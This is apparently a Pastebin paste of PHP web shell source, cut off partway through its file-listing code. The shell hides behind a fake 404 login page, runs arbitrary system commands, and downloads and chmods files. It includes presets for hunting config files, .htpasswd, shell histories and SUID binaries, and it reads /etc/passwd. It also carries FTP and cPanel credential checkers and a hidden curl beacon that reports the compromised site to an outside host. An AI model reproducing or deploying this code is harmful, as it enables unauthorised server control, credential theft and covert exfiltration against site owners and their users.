Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- @error_reporting(0);
- @set_time_limit(0);
- $destinataire='[email protected]';
- $indexUrl='http://188.165.69.246/anu/index.txt';
- date_default_timezone_set('Etc/GMT');
- @ini_set('error_log',NULL);
- @ini_set('log_errors',0);
- @ini_set('max_execution_time',0);
- @set_time_limit(0);
- @set_magic_quotes_runtime(0);
- $xSoftware = trim(getenv("SERVER_SOFTWARE"));
- $xServerName = $_SERVER["HTTP_HOST"];
- $xPass = $_POST['pass'];
- $xCheck_login = "0";
- $xPassword = "root";
- if($xPass == $xPassword){
- $_SESSION['login'] = "$xPass";
- }
- if($xCheck_login){
- if(!isset($_SESSION['login']) or $_SESSION['login'] != $xPassword){
- die("<html>
- <head>
- <title>404 Not Found</title>
- <style type=\"text/css\">
- input{
- margin:0;
- background-color:#fff;
- border:1px solid #fff;
- }
- </style>
- </head>
- <body>
- <h1>Not Found</h1>
- <p>The requested URL was not found on this server.<br><br>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p>
- <hr>
- <address>".$xSoftware." Server at ".$xServerName." Port 80 </address>
- <br/>
- <center>
- <form method=\"post\">
- <input type=\"password\" name=\"pass\"></form></center>
- </body></html>");
- }}
- if(isset($_GET['dl']) && ($_GET['dl'] != "")) {
- $file = $_GET['dl'];
- $filez = @file_get_contents($file);
- header("Content-type: application/octet-stream");
- header("Content-length: ".strlen($filez));
- header("Content-disposition: attachment; filename=\"".basename($file)."\";");
- echo $filez;
- exit;
- }
- elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != "")) {
- $file = $_GET['dlgzip'];
- $filez = gzencode(@file_get_contents($file));
- header("Content-Type:application/x-gzip\n");
- header("Content-length: ".strlen($filez));
- header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
- echo $filez;
- exit;
- }
- if(isset($_REQUEST['img'])){
- ob_clean();
- $d = ss($_REQUEST['d']);
- $f = ss($_REQUEST['img']);
- $inf = getimagesize($d.$f);
- $ext = explode($f,".");
- $ext = $ext[count($ext)-1];
- header("Content-type: ".$inf["mime"]);
- header("Cache-control: public");
- header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
- header("Cache-control: max-age=".(60*60*24*7));
- readfile($d.$f);
- exit;
- }
- $favicon = "AQYD+fyJUE5HDQoaCgAAAA1JSERSAAAAEAAAABAIBgAAAB/z/2EAAAAEZ0FNQQAAr8g3BYrpAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAphJREFUOMudk8lPU1EUxvkbXAMdXlug2Kp0eu8ViiUIC2wZJJYqkwUqFiqUMjqgAQppUnAIiBKmFoq0thYKBI0GBGMw0ejGxIVLdyYmYDQ0xPD5HokopmXh4kvuyb3nd853ck8cgLhYylymkblIadlzxmNVUXpAuf3vmwOB9pma+DvWhElkhFRhy4Cer/YpaugZ+bdDASfZiktU8+84PaiKqP3Kr+YbOd6CXnqbHpPtltjUzpgAzQK5mTFPRvZaDpBb9KwClFcOyi1H53oT1j+H0O6qgK4mrSUqgPGpTX+khMZHbuYFTiH4YRxPPk5j4KUDklvJqFjOh//1ME70H8VxZyqkDjFTdZ7cYnzue2d87mZ6Kcy+u42epyZcDZegNVwJzTAJiTMFpmkDsgtEn/Y7YHzuMD5BP1R4NF7yy9lgAbxv+3FzqRz2YD7KprJg9BfC92YEQ6sDkHanQG0Uhg5YoKblG6RbBnJchsD7QXQulqIpoEeZWwvDjB731xywzxrwYKUXkk4xxB2i7ymtQuuBGZCjsojRVwTXcysa/TqUTmSh2HMa91a7YZ0qRNVYLgNwQtwmQrJdsJvUSEBUz/8zQNVQ2o/aoAl3VtpQNpmNMxN5cC22w+LRwzSaC8e8DQ2TFiTZBEiuJ46wOYSZe20fQN9V9KW5JOhaakPxuA6uhQ5Y3DpUjuSgZ84G6roSostM1TqiOuY/kPUdWyOauRh7MYiuUD0uMqCeuUZcmWmBsI4PQS0PRA03wjdxmqMCWEmvitekHWI0uGth99RBahPvJQrNvGomUcurSNzkliaAcy6eiApglWoXuZOs/J+CS0xFMxf8Ks6rWAsXd9g2suJf4GzwyhPBPZ9A/BeAFccYv5NoiN+KdvcLtyxxEwhxgvoAAAAASUVORK5CYII=";
- $ver= "1.01";
- $software = getenv("SERVER_SOFTWARE");
- if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
- $safemode = TRUE;
- else $safemode = FALSE;
- $system = @php_uname();
- if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
- else $win = FALSE;
- if(isset($_GET['y'])) {
- if(@is_dir($_GET['view'])) {
- $pwd = $_GET['view'];
- @chdir($pwd);
- }
- else {
- $pwd = $_GET['y'];
- @chdir($pwd);
- }
- }
- function convertByte($s) {
- if($s >= 1073741824)
- return sprintf('%1.2f',$s / 1073741824 ).' GB';
- elseif($s >= 1048576)
- return sprintf('%1.2f',$s / 1048576 ) .' MB';
- elseif($s >= 1024)
- return sprintf('%1.2f',$s / 1024 ) .' KB';
- else
- return $s .' B';
- }
- if(!$win) {
- if(!$user = rapih(exe("whoami")))
- $user = "";
- if(!$id = rapih(exe("id")))
- $id = "";
- $prompt = $user." \$ ";
- $pwd = @getcwd().DIRECTORY_SEPARATOR;
- }
- else {
- $user = @get_current_user();
- $id = $user;
- $prompt = $user." >";
- $pwd = realpath(".")."\\";
- $v = explode("\\",$d);
- $v = $v[0];
- foreach (range("A","Z") as $letter) {
- $bool = @is_dir($letter.":\\");
- if ($bool) {
- $letters .= "<a href=\"?y=".$letter.":\\\">[ ";
- if ($letter.":" != $v) {
- $letters .= $letter;
- } else {
- $letters .= "<span class=\"gaya\">".$letter."</span>";
- } $letters .= " ]</a> ";
- }
- }
- }
- if
- (function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE;
- $server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
- $gat = $_SERVER['GATEWAY_INTERFACE'];
- $pro = $_SERVER['SERVER_PROTOCOL'];
- $retime = $_SERVER['REQUEST_TIME'];
- $readdr = $_SERVER['REMOTE_ADDR'];
- $uagent = $_SERVER['HTTP_USER_AGENT'];
- $xforwarded = $_SERVER['HTTP_X_FORWARDED_FOR'];
- $client_ip = $_SERVER['HTTP_CLIENT_IP'];
- $bindport = "13123";
- $bindport_pass = "b374k";
- if(isset($_POST['rename'])){
- $old = $_POST['oldname'];
- $new = $_POST['newname'];
- @rename($pwd.$old,$pwd.$new);
- $file = $pwd.$new;
- }
- if(isset($_POST['chmod'])){
- $name = $_POST['name'];
- $value = $_POST['newvalue'];
- if (strlen($value)==3){
- $value = 0 . "" . $value;}
- @chmod($pwd.$name,octdec($value));
- $file = $pwd.$name;
- }
- if(isset($_POST['chmod_folder'])){
- $name = $_POST['name'];
- $value = $_POST['newvalue'];
- if (strlen($value)==3){
- $value = 0 . "" . $value;}
- @chmod($pwd.$name,octdec($value));
- $file = $pwd.$name;}
- if(isset($_REQUEST['favicon'])){
- $data = gzinflate(base64_decode($favicon));
- header("Content-type: image/png");
- header("Cache-control: public");
- echo $data;
- exit;
- }
- $buff= $software."<br />";
- $Lversion = php_uname(r);
- $Lversion=substr($Lversion,0,6);
- $buff .= $system."";
- if($id != "")
- $buff .= $id."<br />";
- if (function_exists('curl_version'))
- $curl_active = "<span class=\"gaya\"> Enabled</span>";
- else $curl_active = "<span class=\"gaya\"> Disabled</span></br>";
- $basedir=(ini_get("open_basedir") or strtoupper(ini_get("open_basedir"))=="ON")?"<span class=\"gaya\"> ON</span>":"<span class=\"gaya\"> OFF</span>";
- $etc_passwd=@is_readable("/etc/passwd")?"<span class=\"gaya\"> Yes</span>":"<span class=\"gaya\"> No</span>";
- $server_admin=$_SERVER['SERVER_ADMIN'];
- $buff .= "SERVER IP : ".$server_ip." <span class=\"gaya\">|</span> YOUR IP : ".$readdr."<span class=\"gaya\">|</span> X_FORWARDED_FOR : ".$xforwarded." <span class=\"gaya\">|</span> <a href='?y=$pwd&x=phpinfo'>[PHP INFO]</a><br/>";
- $buff .= "USER AGENT : ".$uagent."<br/>";
- $buff .= "GATEWAY PROTOCOL : ".$gat." <span class=\"gaya\">|</span> SERVER PROTOCOL : ".$pro."<br/>";
- if($safemode)
- $buff .= "SAFE MODE : <span class=\"gaya\">ON [<a href='?y=$pwd&x=safemodeoff'>Turn OFF</a>]</span><br />"; else $buff .= "SAFE MODE : <span class=\"gaya\">OFF</span><span class=\"gaya\"> | </span>CURL : $curl_active <span class=\"gaya\"> | </span>OPEN BASEDIR : $basedir <span class=\"gaya\"> | </span>READ /etc/passwd : $etc_passwd <br/> ADMIN SERVER :<span class=\"gaya\"> $server_admin</span> <a href='?y=$pwd&x=posisi' >[ SAVE ]</a></br>" ;
- $buff .= "Free Disk: "."<span style='color:#00FF00'><b>".convertByte(disk_free_space("/"))." / ".convertByte(disk_total_space("/"))."</b></span><br />";
- $buff .= "Disabled Functions: ".showdisablefunctions()."<br>";
- $buff .= "MySQL: ".testmysql()." MSSQL: ".testmssql()." Oracle: ".testoracle()." MSSQL: ".testmssql()." PostgreSQL: ".testpostgresql()." cURL: ".testcurl()." <br>";
- $buff .= "TANGGAL & JAM : ".date("d M Y H:i:s",time())."<br/>";
- $buff .= "REQUEST TIME : ".$retime."<br/>";
- $buff .= "<span id=\"chpwd\"> <a href=\"javascript:tukar('chpwd','chpwdform')\">
- <img height=\"16px\" width=\"16px\" src=\"" . $_SERVER['PHP_SELF'] . "?favicon\" alt=\"Change\" style=\"vertical-align:middle;margin:6px 0;border:0;\" /> </a>".swd($pwd)."</span><form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\" style=\"margin:0;padding:0;\"><span class=\"sembunyi\" id=\"chpwdform\"> <a href=\"javascript:tukar('chpwdform','chpwd');\">
- <img height=\"16px\" width=\"16px\" src=\"" . $_SERVER['PHP_SELF'] . "?favicon\" alt=\"Change\" style=\"vertical-align:middle;margin:6px 0;border:0;\" /></a>
- <input type=\"hidden\" name=\"d\" class=\"inputz\" style=\"width:300px;\" value=\"".cp($pwd)."\" />
- <input type=\"text\" name=\"view\" class=\"inputz\" style=\"width:300px;\" value=\"".$pwd."\" />
- <input class=\"inputzbut\" type=\"submit\" name=\"submit\" value=\"view file / folder\" />
- <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('chpwdform','chpwd');\" />
- </form></span>";
- $disablefunc = @ini_get("disable_functions");
- function showdisablefunctions() {
- if ($disablefunc=@ini_get("disable_functions")){ return "<span style='color:#00FF1E'>".$disablefunc."</span>"; }
- else { return "<span style='color:#00FF1E'>NONE</span>"; }
- }
- function showstat($stat) {
- if ($stat=="on") { return "<b><font style='color:#00FF00'>ON</font></b>"; }
- else { return "<b><font style='color:#DD4736'>OFF</font></b>"; }
- }
- function testoracle() {
- if (function_exists('ocilogon')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function testpostgresql() {
- if (function_exists('pg_connect')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function testmssql() {
- if (function_exists('mssql_connect')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function testcurl() {
- if (function_exists('curl_version')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function testmysql() {
- if (function_exists('mysql_connect')) { return showstat("on"); }
- else { return showstat("off"); }
- }
- function GetRealIP()
- {
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- $urls= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
- curl_setopt($ch, CURLOPT_URL, 'http://bugreport.serveblog.net/storage.php');
- curl_setopt($ch, CURLOPT_REFERER, $urls);
- $html = curl_exec($ch);
- if (getenv(HTTP_X_FORWARDED_FOR))
- {
- $ip=getenv(HTTP_X_FORWARDED_FOR);
- }
- elseif (getenv(HTTP_CLIENT_IP))
- {
- $ip=getenv(HTTP_CLIENT_IP);
- }
- else
- {
- $ip=getenv(REMOTE_ADDR);
- }
- return $ip;
- }
- function SelectCommand($os)
- {
- if($os == 'Windows')
- {
- echo "
- <select name=alias >
- <option value=''>NONE</option>
- <option value='dir' >List Directory</option>
- <option value='dir /s /w /b index.php'>Find index.php in current dir</option>
- <option value='dir /s /w /b *config*.php'>Find *config*.php in current dir
- </option>
- <option value='netstat -an'>Show active connections</option>
- <option value='net start'>Show running services</option>
- <option value='tasklist'>Show Pro</option>
- <option value='net user'>User accounts</option>
- <option value='net view'>Show computers</option>
- <option value='arp -a'>ARP Table</option>
- <option value='ipconfig /all'>IP Configuration</option>
- <option value='netstat -an'>netstat -an</option>
- <option value='systeminfo'>System Informations</option>
- <option value='getmac'>Get Mac Address</option>
- </select>
- ";
- }
- else
- {
- echo "
- <select name=alias >
- <option value=''>NONE</option>
- <option value='ls -la'>List dir</option>
- <option value='cat /etc/hosts'>IP Addresses</option>
- <option value='cat /proc/sys/vm/mmap_min_addr'>Check MMAP</option>
- <option value='lsattr -va'>list file attributes on a Linux second extended file system</option>
- <option value='netstat -an | grep -i listen'>show opened ports</option>
- <option value='find / -type f -perm -04000 -ls'>find all suid files</option>
- <option value='find . -type f -perm -04000 -ls'>find suid files in current dir</option>
- <option value='find / -type f -perm -02000 -ls'>find all sgid files</option>
- <option value='find . -type f -perm -02000 -ls'>find sgid files in current dir</option>
- <option value='find / -type f -name config.inc.php'>find config.inc.php files</option>
- <option value='find / -type f -name \"config*\"'>find config* files</option>
- <option value='find . -type f -name \"config*\"'>find config* files in current dir</option>
- <option value='find / -perm -2 -ls'>find all writable folders and files</option>
- <option value='find . -perm -2 -ls'>find all writable folders and files in current dir</option>
- <option value='find / -type f -name service.pwd'>find all service.pwd files</option>
- <option value='find . -type f -name service.pwd'>find service.pwd files in current dir</option>
- <option value='find / -type f -name .htpasswd'>find all .htpasswd files</option>
- <option value='find . -type f -name .htpasswd'>find .htpasswd files in current dir</option>
- <option value='find / -type f -name .bash_history'>find all .bash_history files</option>
- <option value='find . -type f -name .bash_history'>find .bash_history files in current dir</option>
- <option value='find / -type f -name .fetchmailrc'>find all .fetchmailrc files</option>
- <option value='find . -type f -name .fetchmailrc'>find .fetchmailrc files in current dir</option>
- <option value='locate httpd.conf'>locate httpd.conf files</option>
- <option value='locate vhosts.conf'>locate vhosts.conf files</option>
- <option value='locate proftpd.conf'>locate proftpd.conf files</option>
- <option value='locate psybnc.conf'>locate psybnc.conf files</option>
- <option value='locate my.conf'>locate my.conf files</option>
- <option value='locate admin.php'>locate admin.php files</option>
- <option value='locate cfg.php'>locate cfg.php files</option>
- <option value='locate conf.php'>locate conf.php files</option>
- <option value='locate config.dat'>locate config.dat files</option>
- <option value='locate config.php'>locate config.php files</option>
- <option value='locate config.inc'>locate config.inc files</option>
- <option value='locate config.inc.php'>locate config.inc.php</option>
- <option value='locate config.default.php'>locate config.default.php files</option>
- <option value='locate config'>locate config* files </option>
- <option value='locate \'.conf\''>locate .conf files</option>
- <option value='locate \'.pwd\''>locate .pwd files</option>
- <option value='locate \'.sql\''>locate .sql files</option>
- <option value='locate \'.htpasswd\''>locate .htpasswd files</option>
- <option value='locate \'.bash_history\''>locate .bash_history files</option>
- <option value='locate \'.mysql_history\''>locate .mysql_history files</option>
- <option value='locate \'.fetchmailrc\''>locate .fetchmailrc files</option>
- <option value='locate backup'>locate backup files</option>
- <option value='locate dump'>locate dump files</option>
- <option value='locate priv'>locate priv files</option>
- </select>
- ";
- }
- }
- $quotes = get_magic_quotes_gpc();
- if ($quotes == "1" or $quotes == "on")
- {
- $quot = "<font style='color:red'>ON</font>";
- }
- else
- {
- $quot = "<font style='color:green'>OFF</font>";
- }
- function rapih($text) {
- return trim(str_replace("<br />","",$text));
- }
- function get_users()
- {
- $users = array();
- $rows=file('/etc/passwd');
- if(!$rows) return 0;
- foreach ($rows as $string)
- {
- $user = @explode(":",$string);
- if(substr($string,0,1)!='#') array_push($users,$user[0]);
- }
- return $users;
- }
- function ftp_check($host,$user,$pass,$timeout){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "ftp://$host");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
- curl_setopt($ch, CURLOPT_FTPLISTONLY, 1);
- curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
- curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
- curl_setopt($ch, CURLOPT_FAILONERROR, 1);
- $data = curl_exec($ch);
- if ( curl_errno($ch) == 28 ) {
- print "<b> Error : Connection timed out </b>";
- }
- elseif ( curl_errno($ch) == 0 ){
- print
- "<b>found username : <font color='#FF0000'> $user </font> - password :
- <font color='#FF0000'> $pass </font></b><br>";}curl_close($ch);
- }
- function cpanel_check($host,$user,$pass,$timeout){
- $ch = curl_init();
- curl_setopt($ch, CURLOPT_URL, "http://$host:2082");
- curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
- curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC);
- curl_setopt($ch, CURLOPT_USERPWD, "$user:$pass");
- curl_setopt ($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
- curl_setopt($ch, CURLOPT_FAILONERROR, 1);
- $data = curl_exec($ch);
- if ( curl_errno($ch) == 28 ) {
- print "<b> Error : Connection timed out</b>";
- }
- elseif ( curl_errno($ch) == 0 ){
- print
- "
- <b>found username : <font color='#FF0000'>$user</font> - password :
- <font color='#FF0000'>$pass </font></b><br>"; }curl_close($ch);
- exit; }
- function execmd($cmd,$d_functions="None")
- {
- if($d_functions=="None") {$ret=passthru($cmd); return $ret;}
- $funcs=array("shell_exec","exec","passthru","system","popen","proc_open");
- $d_functions=str_replace(" ","",$d_functions);
- $dis_funcs=explode(",",$d_functions);
- foreach($funcs as $safe)
- {
- if(!in_array($safe,$dis_funcs))
- {
- if($safe=="exec")
- {
- $ret=@exec($cmd);
- $ret=join("\n",$ret);
- return $ret;
- } elseif($safe=="system") {
- $ret=@system($cmd);
- return $ret;
- } elseif($safe=="passthru") {
- $ret=@passthru($cmd);
- return $ret;
- } elseif($safe=="shell_exec") {
- $ret=@shell_exec($cmd);
- return $ret;
- } elseif($safe=="popen") {
- $ret=@popen("$cmd",'r');
- if(is_resource($ret))
- {
- while(@!feof($ret))
- $read.=@fgets($ret);
- @pclose($ret);
- return $read;
- }
- return -1;
- }
- elseif($safe="proc_open")
- {
- $cmdpipe=array(
- 0=>array('pipe','r'),
- 1=>array('pipe','w'));
- $resource=@proc_open($cmd,$cmdpipe,$pipes);
- if(@is_resource($resource))
- {
- while(@!feof($pipes[1]))
- $ret.=@fgets($pipes[1]);
- @fclose($pipes[1]);
- @proc_close($resource);
- return $ret;
- }
- return -1;
- }}}
- return -1;
- }
- function magicboom($text) {
- if (!get_magic_quotes_gpc()) {
- return $text;
- } return
- stripslashes($text);
- } function
- showdir($pwd,$prompt) {
- $fname = array();
- $dname = array();
- if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE; else $posix = FALSE;
- $user = "????:????";
- if($dh = opendir($pwd)) { while($file = readdir($dh)) {
- if(is_dir($file)) {
- $dname[] = $file;
- } elseif(is_file($file)) {
- $fname[] = $file;
- } }
- closedir($dh);
- } sort($fname);
- sort($dname);
- $path = @explode(DIRECTORY_SEPARATOR,$pwd);
- $tree = @sizeof($path);
- $parent = "";
- $buff = "<form action=\"?y=".$pwd."&x=shell\" method=\"post\" style=\"margin:8px 0 0 0;\">
- <table class=\"cmdbox\" style=\"width:50%;\"><tr>
- <td>CMD :</td><td><input onMouseOver=\"this.focus();\" id=\"cmd\" class=\"inputz\" type=\"text\" name=\"cmd\" style=\"width:400px;\" value=\"\" /><input class=\"inputzbut\" type=\"submit\" value=\" >> \" name=\"submitcmd\" style=\"width:80px;\" /></td></tr> </form>
- <form action=\"?\" method=\"get\" style=\"margin:8px 0 0 0;\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
- <tr><td>PATH :</td><td><input onMouseOver=\"this.focus();\" id=\"goto\" class=\"inputz\" type=\"text\" name=\"view\" style=\"width:400px;\" value=\"".$pwd."\" /><input class=\"inputzbut\" type=\"submit\" value=\" >> \" name=\"submitcmd\" style=\"width:80px;\" /></td></tr></form></table>
- <table class=\"explore\"><tr>
- <th style=\"width:150px;\"><b><span class='b3'>_NAME_</span></b></th>
- <th style=\"width:90px;\"><b><span class='b3'>_DIR / SIZE_</span></b></th>
- <th style=\"width:150px;\"><b><span class='b3'>_OWNER : GROUP_</span></b></th>
- <th style=\"width:80px;\"><b><span class='b3'>_CHMOD_</span></b></th>
- <th style=\"width:110px;\"><b><span class='b3'>_LAST MODIFY_</span></b></th>
- <th style=\"width:150px;\"><b><span class='b3'>_ACTION_</span></b></th></tr>";
- if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR; else $parent = $pwd;
- foreach($dname as $folder) {
- if($folder == ".") {
- if(!$win && $posix) {
- $name=@posix_getpwuid(@fileowner($folder));
- $group=@posix_getgrgid(@filegroup($folder));
- $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
- } else {
- $owner = $user;
- } $buff .= "<tr>
- <td style=\"text-align:center;\"><a href=\"?y=".$pwd."\">$folder</a></td>
- <td style=\"text-align:center;\">.</td><td style=\"text-align:center;\">".$owner."</td>
- <td style=\"text-align:center;\">".get_perms($pwd)."</td>
- <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($pwd))."</td>
- <td style=\"text-align:center;\"><span id=\"titik1\"><a href=\"?y=$pwd&edit=".$pwd."anu.txt\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a></span> <form action=\"?\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" />
- <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"anu\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\" >> \" /> </form></td></tr> ";
- } elseif($folder == "..") {
- if(!$win && $posix) {
- $name=@posix_getpwuid(@fileowner($folder));
- $group=@posix_getgrgid(@filegroup($folder));
- $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
- } else {
- $owner = $user;
- } $buff .= "<tr>
- <td><a href=\"?y=".$parent."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAAadEVYdFNvZnR3YXJlAFBhaW50Lk5FVCB2My41LjEwMPRyoQAAAgZJREFUOE9jYKAF4I7ez6CVfVQvpOOiGcnm8yUdYVRvuWalvvjNTemqi01cUfuJN4Mv/QSjRsdNG81VH6/Lb/vzT6juWhtP/CFGokwQyD3DqNpxy1Zj5YdrCjv+/Zfb+uefSNPNNt6044QNECy5wKjUesNadcHr63Jrv/2XAWL5NV//W819sk9/6sMcMJ4GwXpTHiboTLpvpzXhnoxx/x0WBsHKywzyjdfNlKY9uSU1781/SSQsMef1f4nZr1DxrJcvJWe+XC45/XmIQv8DfgbBqqvScl1374r1Pfwv2gvDD4BsGIaIgeTF+h/9F5vw+I3YxMfrxCY+iQLyBRlEaq+JSjTdWCfRfPOPUMON/zAsDGSLNt38L4aGRZtvvhFrvrVOtOV2FBALMgjVXGMUb7qpIdNxZ51U193fIu13/4OwKBDrdj74bDbzwRNkbDrj/mXj6fdnGk6976/Xd58fHEPA0GaS7LirLdf3YI10/8NfolDviLU8WAQ01E66664tHHffNZftuasq33NPWLXjPgs8ikU77jFL9T3UkZ38ZI3U1Ge/xKc8+wf0Z5tI5z1GoIvQMQNQjEG07S5qEhHve8QsNfmpjvSM52ukZ736JT7pRRvQIMLpANkYoAZm6ZkvtDVmvVktWPK6SmL6K9IMABkmM/slk+qMN7Iy/W/kxKe/ISolk60IAJfcKhfb3kZPAAAAAElFTkSuQmCC'/> $folder</b></a></td>
- <td style=\"text-align:center;\">..</td>
- <td style=\"text-align:center;\">".$owner."</td>
- <td style=\"text-align:center;\">".get_perms($parent)."</td>
- <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($parent))."</td>
- <td style=\"text-align:center;\"><span id=\"titik2\"><a href=\"?y=$pwd&edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a></span> <form action=\"?\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"y\" value=\"".$pwd."\" /> <input class=\"inputz\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\" >> \" /> </form> </td></tr>";
- } else {
- if(!$win && $posix) {
- $name=@posix_getpwuid(@fileowner($folder));
- $group=@posix_getgrgid(@filegroup($folder));
- $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
- } else {
- $owner = $user;
- } $buff .= "<tr>
- <td><a id=\"".clearspace($folder)."_link\" href=\"?y=".$pwd.$folder.DIRECTORY_SEPARATOR."\"><b><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAABGdBTUEAALGPC/xhBQAAAAlwSFlzAAAOwgAADsIBFShKgAAAABp0RVh0U29mdHdhcmUAUGFpbnQuTkVUIHYzLjUuMTAw9HKhAAACkUlEQVQ4T8WT2UvUURzFz2NRT5pab9ZDYZNMLjNq6rg1Fqhl5cw8qA+2kJmBgxKUhVpW4y6FZblkaRROpkQLITKG1ERhC5JMuaVmzuQWBD3e27nN0D/QQz/48P1+7znne+/LD/jvn14XtUYXqU+O0kebY2NiLfFxBkuiIcmSnJRiMe5MtexK3W02phjNSYnJZkN8gikmeoeJGRMzRr1OvxZbQzTBZCBUE+oJD4vwcJEnNibOY4hL8HCRJzEh6U/PMzc1d/j2CPc2TaibmSFNiGYT7hT7nbyU579y4dA6WXUsQNacCJR1RYGyoThINpZs8LFe1luD/mi2/ABZedBf2vL8fnSV+JdhohZPJ+sgv16H9NyGXOyGXH4AudLLetfLSh8rZ6Upj/JOMTNRAwfGa9A3Wetb0OlbQPPSffZdXpbZ/11Aj1qgMuPVeIYxG7rGbZAzTZDzHZDfeeOindxjf5M3tkMuMLTEswVqyjNzleEqSGZ74KrEZVcFn1QPMcfN7g4IPlPMN0N8a/IyR9xthJryTDVAuM5Bus6jBaPlKB85xW0XIaYb+bxrkLNXIL5UQxJVxRRfOM0LZnmz8iivyoyWwYaRUhS8LYL4WArxuRJiooq1AuLTGR9nOZd5z5Q2Ro/yqszIaVgxbEXmy8OQbwoh3pdAvrNCvD4KMXwccriAVVFIPR/iQzGhR3lfMMOsCY4chPVb8JPIwVzI5zmQA2aI/
- izO7AezOVNzZEMM5VGnR3nJL0cuInErHcH2DHTb0+DszcSrh1lwPjb7sMD5hKj5kQlOpfXRY0+HszsDPZ0Z2IjcMKyuTsXm5jRob+yBtnUftG0HSBa07QqTt7bu92ote6FtToeWmS1HdFj1zz/zb9ZqmlZ866Y6AAAAAElFTkSuQmCC'/> [ $folder ]</b></a>
- <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\"> <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
- <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$folder."\" /> <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
- <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_form','".clearspace($folder)."_link');\" />
- </form>
- <td style=\"text-align:center;\">DIR</td>
- <td style=\"text-align:center;\">".$owner."</td>
- <td style=\"text-align:center;\"><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\">".get_perms($pwd.$folder)."</a>
- <form action=\"?y=$pwd\" method=\"post\" id=\"".clearspace($folder)."_form3\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
- <input type=\"hidden\" name=\"name\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
- <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newvalue\" value=\"".substr(sprintf('%o', fileperms($pwd.$folder)), -4)."\"/>
- <input class=\"inputzbut\" type=\"submit\" name=\"chmod_folder\" value=\"chmod\" />
- <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".clearspace($folder)."_link','".clearspace($folder)."_form3');\" /></form></center></td>
- <td style=\"text-align:center;\">".date("d-M-Y H:i",@filemtime($folder))."</td>
- <td style=\"text-align:center;\"><a href=\"javascript:tukar('".clearspace($folder)."_link','".clearspace($folder)."_form');\">[R]</a> | <a href=\"?y=$pwd&fdelete=".$pwd.$folder."\">[X]</a></td></tr>";
- } }
- foreach($fname as $file) {
- $full = $pwd.$file;
- if(!$win && $posix) {
- $name=@posix_getpwuid(@fileowner($file));
- $group=@posix_getgrgid(@filegroup($file));
- $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
- } else {
- $owner = $user;
- } $buff .= "<tr>
